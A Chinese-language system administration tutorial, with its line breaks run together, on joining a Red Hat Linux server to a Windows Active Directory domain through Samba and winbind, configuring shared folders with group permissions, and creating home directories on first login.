编辑/etc/nsswitch.conf,如下vim /etc/nsswitch.confpasswd: files winbindshadow: files winbindgroup: files winbind还有配置/etc/samba/smb.conf#/etc/samba/smb.conf#workgroup = LINUXSH//域名#password server = 10.30.64.50//域服务器#realm = #security = ads//必须启用#idmap uid = 16777216-33554431#idmap gid = 16777216-33554431#template shell = /bin/bash#winbind use default domain = false (改成true)#winbind offline logon = false(改成true)#template homedir = /home/%U#winbind separator = /#winbind enum users = Yes#winbind enum groups = Yes再执行getent group /getent passwd 就可以看到了!下面只是列出其中映射过来的windows域账号和组。

2. [root@redhat53 /]# getent passwdadministrator:*:16777217:16777232:Administrator:/home/administrator:/bin/bash guest:*:16777219:16777234:Guest:/home/guest:/bin/bashsupport_388945a0:*:16777220:16777232:SUPPORT_388945a0:/home/support _388945a0:/bin/bashiusr_win2003-test:*:16777221:16777232:IUSR_WIN2003-TEST:/home/iusr_win 2003-test:/bin/bashiwam_win2003-test:*:16777222:16777232:IWAM_WIN2003-TEST:/home/iwam_ win2003-test:/bin/bashsqldebugger:*:16777223:16777232:SQLDebugger:/home/sqldebugger:/bin/bash test:*:16777218:16777232:test:/home/test:/bin/bashkrbtgt:*:16777224:16777232:krbtgt:/home/krbtgt:/bin/bashcct:*:16777216:16777232:cct:/home/cct:/bin/bash3. [root@redhat53 /]# getent groupdomain computers:*:16777238:domain controllers:*:16777239:schema admins:*:16777235:administratorenterprise admins:*:16777237:administratordomain admins:*:16777233:cct,administratordomain users:*:16777232:domain guests:*:16777234:group policy creator owners:*:16777236:administratordnsupdateproxy:*:16777240:BUILTIN/administrators:*:16777216:cct,administratorBUILTIN/users:*:16777217:4. 然后修改smb.conf添加共享5. 首先创建文件夹。

6. #mkdir share#mkdir share1#mkdir share2#mkdir share3#chmod 777 share#chmod 777 share1#chmod 777 share3#vim /etc/samba/smb.conf其中后面部分。

7. [share]comment = admin writepath = /sharewritable = yesvalid users = @BUILTIN/administrators[share1]comment = everyone writepath = /share1writable = yesvalid users = @BUILTIN/users[share2]comment = everyone readpath = /share2writable = novalid users = @BUILTIN/users[share3]comment = everyone read admin writepath = /share3write list = @BUILTIN/administratorsvalid users = @BUILTIN/users这样之后用windows访问Linux SMB服务器就OK了。

8. share 只能域中administrators组能访问并修改。

9. share1 所有windows用户都能修改。

10. share2 所有用户都只有查看权限11. share3 管理员能写能读,其他用户只能查看。

四、自动创建用户目录1. 运行/etc/pam.d/system-config-authentication 。

在弹出的框中选择。

选项-勾选最下面的Create Home directories on the first login 。

2. 这样,windows中的账户就能登录该Linux服务器了。

只不过这里的administrator在其他windows服务器中有最高权限,而在Linux中只有较低的User权限。

3. 在windows服务器中通过\\10.30.64.53方式访问便可以看到自己用户的的文件夹,并能进去拥有写的权限。

相关文档
最新文档